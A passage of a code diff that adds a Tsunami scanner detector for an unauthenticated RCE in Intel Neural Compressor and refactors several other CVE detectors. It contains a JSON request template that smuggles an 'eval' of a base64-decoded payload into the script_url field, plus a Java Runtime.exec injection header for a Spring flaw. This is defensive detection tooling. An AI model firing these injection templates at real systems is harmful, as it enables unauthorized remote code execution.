HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); + + try { + HttpResponse response = httpClient.send(request, networkService); + return response.status().isSuccess() + && response + .bodyString() + .map(body -> body.contains("{\"message\":\"Welcome to Neural Solution!\"}")) + .orElse(false); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean isWebServiceOrUnknownService(NetworkService networkService) { + return NetworkServiceUtils.isWebService(networkService) + && checkNeuralSolutionFingerprint(networkService); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + Payload payload = generateCallbackServerPayload(); + if (!payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atInfo().log( + "The Tsunami callback server is not setup for this environment, so we cannot confirm the" + + " RCE callback"); + return false; + } + String taskRequestBody = taskRequestTemplate; + // Check callback server is enabled + logger.atInfo().log("Callback server is available!"); + taskRequestBody = + taskRequestBody.replace( + "{{CALLBACK_PAYLOAD}}", + BaseEncoding.base64().encode(payload.getPayload().getBytes(UTF_8))); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; + logger.atInfo().log("Payload: %s", payload.getPayload().getBytes(UTF_8)); + try { + HttpResponse httpResponse = + httpClient.send( + post(targetVulnerabilityUrl) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(taskRequestBody)) + .build(), + networkService); + logger.atInfo().log("Callback Server Payload Response: %s", httpResponse.bodyString().get()); + Uninterruptibles.sleepUninterruptibly(BATCH_REQUEST_WAIT_AFTER_TIMEOUT); + return payload.checkIfExecuted(); + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private Payload generateCallbackServerPayload() { + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + return this.payloadGenerator.generate(config); + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_22476")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") + .setDescription( + "The Intel Neural Compressor has a component called Neural Solution that brings" + + " the capabilities of Intel Neural Compressor as a service. The" + + " task/submit API in the Neural Solution webserver is vulnerable to an" + + " unauthenticated remote code execution (RCE) attack. The" + + " script_urlparameter in the body of the POST request for this API is not" + + " validated or filtered on the backend. As a result, attackers can" + + " manipulate this parameter to remotely execute arbitrary commands.") + .setRecommendation( + "You can upgrade your Intel Neural Compressor instances to 2.5.0 or later.")) + .build(); + } +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json new file mode 100644 index 000000000..0eb8db38e --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/main/resources/com/google/tsunami/plugins/detectors/cves/cve202422476/task_request.json @@ -0,0 +1,10 @@ +{ + "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification & eval \"$(echo {{CALLBACK_PAYLOAD}} | base64 --decode)\"", + "optimized": "False", + "arguments": [ + "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result" + ], + "approach": "static", + "requirements": [], + "workers": 1 +} diff --git a/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java new file mode 100644 index 000000000..0ad5aa8ca --- /dev/null +++ b/community/detectors/intel_neural_compressor_cve_2024_22476/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202422476/Cve202422476VulnDetectorTest.java @@ -0,0 +1,180 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve202422476; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202422476VulnDetector}. */ +@RunWith(JUnit4.class) +public class Cve202422476VulnDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); + private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + private NetworkService targetNetworkService; + private TargetInfo targetInfo; + + @Inject private Cve202422476VulnDetector detector; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + mockCallbackServer.start(); + + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new Cve202422476DetectorBootstrapModule()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + // It is a blind RCE, body is not important. This is a part of a valid response. + startMockWebServer(true); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_22476")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2024-22476 Intel Neural Compressor RCE") + .setRecommendation( + "You can upgrade your Intel Neural Compressor instances to 2.5.0 or" + + " later.") + .setDescription( + "The Intel Neural Compressor has a component called Neural Solution" + + " that brings the capabilities of Intel Neural Compressor as a" + + " service. The task/submit API in the Neural Solution webserver" + + " is vulnerable to an unauthenticated remote code execution (RCE)" + + " attack. The script_urlparameter in the body of the POST request" + + " for this API is not validated or filtered on the backend. As a" + + " result, attackers can manipulate this parameter to remotely" + + " execute arbitrary commands.")) + .build()); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { + startMockWebServer(false); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + } + + private void startMockWebServer(boolean isVulnerableServer) throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + + @Override + public MockResponse dispatch(RecordedRequest request) { + switch (request.getPath()) { + case "/": + return new MockResponse() + .setResponseCode(200) + .setBody("{\"message\":\"Welcome to Neural Solution!\"}"); + case "/task/submit/": + if (isVulnerableServer) { + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"status\":\"successfully\",\"task_id\":\"065d95dd70524cb2baa743def3ff7036\",\"msg\":\"Task" + + " submitted successfully\"}"); + } else { + return new MockResponse() + .setResponseCode(422) + .setBody("{\"detail\":\"Invalid task\"}"); + } + default: + return new MockResponse() + .setResponseCode(404) + .setBody("{\"detail\":\"Not Found\"}"); + } + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .addSupportedHttpMethods("POST") + .addSupportedHttpMethods("GET") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} diff --git a/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java b/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java index 667ed17f7..1d664101c 100644 --- a/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java +++ b/community/detectors/jira_cve_2022_0540/src/main/java/com/google/tsunami/plugins/detectors/jira/Cve20220540VulnDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import com.google.common.annotations.VisibleForTesting; @@ -79,26 +78,6 @@ public final class Cve20220540VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService); - } - - private static String buildTargetUrl(NetworkService networkService, String url) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(url); - return targetUrlBuilder.toString(); - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -106,7 +85,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve20220540VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -114,7 +93,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String insightUrl = buildTargetUrl(networkService, INSIGHT_CHECK_VUL_PATH); + String insightUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + INSIGHT_CHECK_VUL_PATH; try { HttpResponse httpResponse = httpClient.send(get(insightUrl).withEmptyHeaders().build(), networkService); @@ -126,7 +106,8 @@ private boolean isServiceVulnerable(NetworkService networkService) { logger.atWarning().withCause(e).log("Request to target %s failed", networkService); } - String wbsGanttUrl = buildTargetUrl(networkService, WBSGANTT_CHECK_VUL_PATH); + String wbsGanttUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + WBSGANTT_CHECK_VUL_PATH; try { HttpResponse httpResponse = httpClient.send(get(wbsGanttUrl).withEmptyHeaders().build(), networkService); diff --git a/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java b/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java index 2a5fd6a15..006a5b5bf 100644 --- a/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java +++ b/community/detectors/metabase_cve_2023_38646/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202338646/Cve202338646Detector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; @@ -84,7 +83,7 @@ public final class Cve202338646Detector implements VulnDetector { Cve202338646Detector( @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setTrustAllCertificates(true).build(); + this.httpClient = checkNotNull(httpClient); this.payloadGenerator = checkNotNull(payloadGenerator); } @@ -128,7 +127,7 @@ private boolean isVulnerableWithCallback(NetworkService networkService) { private String getSetupToken(NetworkService networkService) { HttpHeaders httpHeaders = HttpHeaders.builder().build(); String targetVulnerabilityUrl = - buildTarget(networkService).append(SETUP_TOKEN_ENDPOINT).toString(); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + SETUP_TOKEN_ENDPOINT; try { HttpResponse httpResponse = httpClient.send( @@ -152,7 +151,7 @@ private void sendRequest(NetworkService networkService, String payload) { HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build(); String targetVulnerabilityUrl = - buildTarget(networkService).append(DB_CREATE_ENDPOINT).toString(); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + DB_CREATE_ENDPOINT; try { httpClient.send( post(targetVulnerabilityUrl) @@ -165,19 +164,6 @@ private void sendRequest(NetworkService networkService, String payload) { } } - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - private DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { return DetectionReport.newBuilder() diff --git a/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java b/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java index eaaf5b9be..d5c9edd62 100644 --- a/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java +++ b/community/detectors/minio_cve_2023_28432/src/main/java/com/google/tsunami/plugins/cves/cve202328432/Cve202328432VulnDetector.java @@ -19,7 +19,6 @@ import static com.google.common.base.Preconditions.checkState; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpClient.TSUNAMI_USER_AGENT; import com.google.auto.value.AutoValue; @@ -117,7 +116,7 @@ public DetectionReportList detect( DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202328432VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .map(this::checkEndpointForNetworkService) .filter(EndpointProbingResult::isVulnerable) .map(probingResult -> buildDetectionReport(targetInfo, probingResult)) @@ -130,23 +129,8 @@ public DetectionReportList detect( return detectionReports; } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown") - || NetworkServiceUtils.getServiceName(networkService).equals("cslistener"); - } - - private static String buildTargetUrl(NetworkService networkService) { - if (NetworkServiceUtils.isWebService(networkService)) { - return NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - } - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - return "http://" + toUriAuthority(networkService.getNetworkEndpoint()) + "/"; - } - private EndpointProbingResult checkEndpointForNetworkService(NetworkService networkService) { - String baseUrl = buildTargetUrl(networkService); + String baseUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); String targetUri = String.format("%s%s", baseUrl, MINIO_VERIFY_PATH); boolean usesDefaultPw = false; diff --git a/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java b/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java index b31ee09f0..1362284ea 100644 --- a/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java +++ b/community/detectors/mlflow_cve_2023_6014/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20236014/Cve20236014VulnDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.annotations.VisibleForTesting; @@ -87,25 +86,6 @@ public static String GenerateRandomString(int length) { this.utcClock = checkNotNull(utcClock); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static StringBuilder buildTarget(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - targetUrlBuilder - .append("https://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - return targetUrlBuilder; - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -114,7 +94,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve20236014VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -122,7 +102,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetVulnerabilityUrl = buildTarget(networkService).append(VUL_PATH).toString(); + String targetVulnerabilityUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; try { String randomUsername = GenerateRandomString(10); String randomPassword = GenerateRandomString(10); diff --git a/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java b/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java index 2c335f0e3..ed68bfc54 100644 --- a/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java +++ b/community/detectors/nacos_cve_2021_29441/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202129441/Cve202129441VulnDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.USER_AGENT; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import com.google.common.annotations.VisibleForTesting; @@ -95,7 +94,7 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202129441VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -103,7 +102,8 @@ public DetectionReportList detect( } private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = buildTargetUrl(networkService); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; try { HttpResponse httpResponse = httpClient.send( @@ -145,25 +145,4 @@ private DetectionReport buildDetectionReport( .setDescription(VULN_DESCRIPTION)) .build(); } - - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - - private static String buildTargetUrl(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(CHECK_VUL_PATH); - return targetUrlBuilder.toString(); - } } diff --git a/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java b/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java index a0c5a312e..d3ae700f0 100644 --- a/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java +++ b/community/detectors/rce/apache_spark_exposed_api/src/main/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetector.java @@ -148,7 +148,7 @@ private DetectionReport buildDetectionReport( Vulnerability.newBuilder() .setMainId( VulnerabilityId.newBuilder() - .setPublisher("Community") + .setPublisher("TSUNAMI_COMMUNITY") .setValue("Apache_Spark_Exposed_Api")) .setSeverity(Severity.CRITICAL) .setTitle("Exposed Apache Spark API which allows unauthenticated RCE detected.") diff --git a/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java b/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java index f8443b982..df23f6f7d 100644 --- a/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java +++ b/community/detectors/rce/apache_spark_exposed_api/src/test/java/com/google/tsunami/plugins/detectors/rce/apachesparksexposedapi/ApacheSparksExposedApiVulnDetectorTest.java @@ -128,7 +128,7 @@ public void detect_ifVulnerable_reportsVuln() throws IOException { Vulnerability.newBuilder() .setMainId( VulnerabilityId.newBuilder() - .setPublisher("Community") + .setPublisher("TSUNAMI_COMMUNITY") .setValue("Apache_Spark_Exposed_Api")) .setSeverity(Severity.CRITICAL) .setTitle( diff --git a/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java b/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java index 32e197fc6..7a06d32ef 100644 --- a/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java +++ b/community/detectors/rce/cve202135464/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202135464/Cve202135464Detector.java @@ -18,9 +18,9 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.tsunami.common.net.http.HttpRequest.get; +import static java.nio.charset.StandardCharsets.UTF_8; import com.google.common.base.Ascii; -import com.google.common.base.Charsets; import com.google.common.base.Stopwatch; import com.google.common.base.Ticker; import com.google.common.collect.ImmutableList; @@ -45,6 +45,7 @@ import com.google.tsunami.proto.Vulnerability; import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; +import java.nio.charset.StandardCharsets; import java.time.Clock; import java.time.Instant; import javax.inject.Inject; @@ -79,7 +80,7 @@ public final class Cve202135464Detector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); try { this.serializedBase64RCEPayload = - Resources.toString(Resources.getResource(this.getClass(), "payload.b64"), Charsets.UTF_8); + Resources.toString(Resources.getResource(this.getClass(), "payload.b64"), UTF_8); } catch (IOException e) { logger.atSevere().withCause(e).log( "Should never happen. Couldn't load payload resource file."); diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java b/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java index 5c9077171..1bc2620a1 100644 --- a/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java +++ b/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.annotations.VisibleForTesting; @@ -82,20 +81,13 @@ public final class Cve202222963VulnDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } - private static boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown") - || NetworkServiceUtils.getServiceName(networkService).equals("rtsp"); - } - @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(Cve202222963VulnDetector::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) @@ -117,7 +109,8 @@ private boolean isServiceVulnerable(NetworkService networkService) { } String commandToInject = String.format("T(java.lang.Runtime).getRuntime().exec(\"%s\")", payload.getPayload()); - String targetUri = buildTargetUrl(networkService); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; HttpRequest httpRequest = post(targetUri) .setHeaders(HttpHeaders.builder().addHeader(VULN_HEADER, commandToInject).build()) @@ -132,21 +125,6 @@ private boolean isServiceVulnerable(NetworkService networkService) { return false; } - private static String buildTargetUrl(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(CHECK_VUL_PATH); - return targetUrlBuilder.toString(); - } - private DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { return DetectionReport.newBuilder() diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java b/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java index 3e1cda495..56fb21a40 100644 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222947/Cve202222947VulnDetector.java +++ 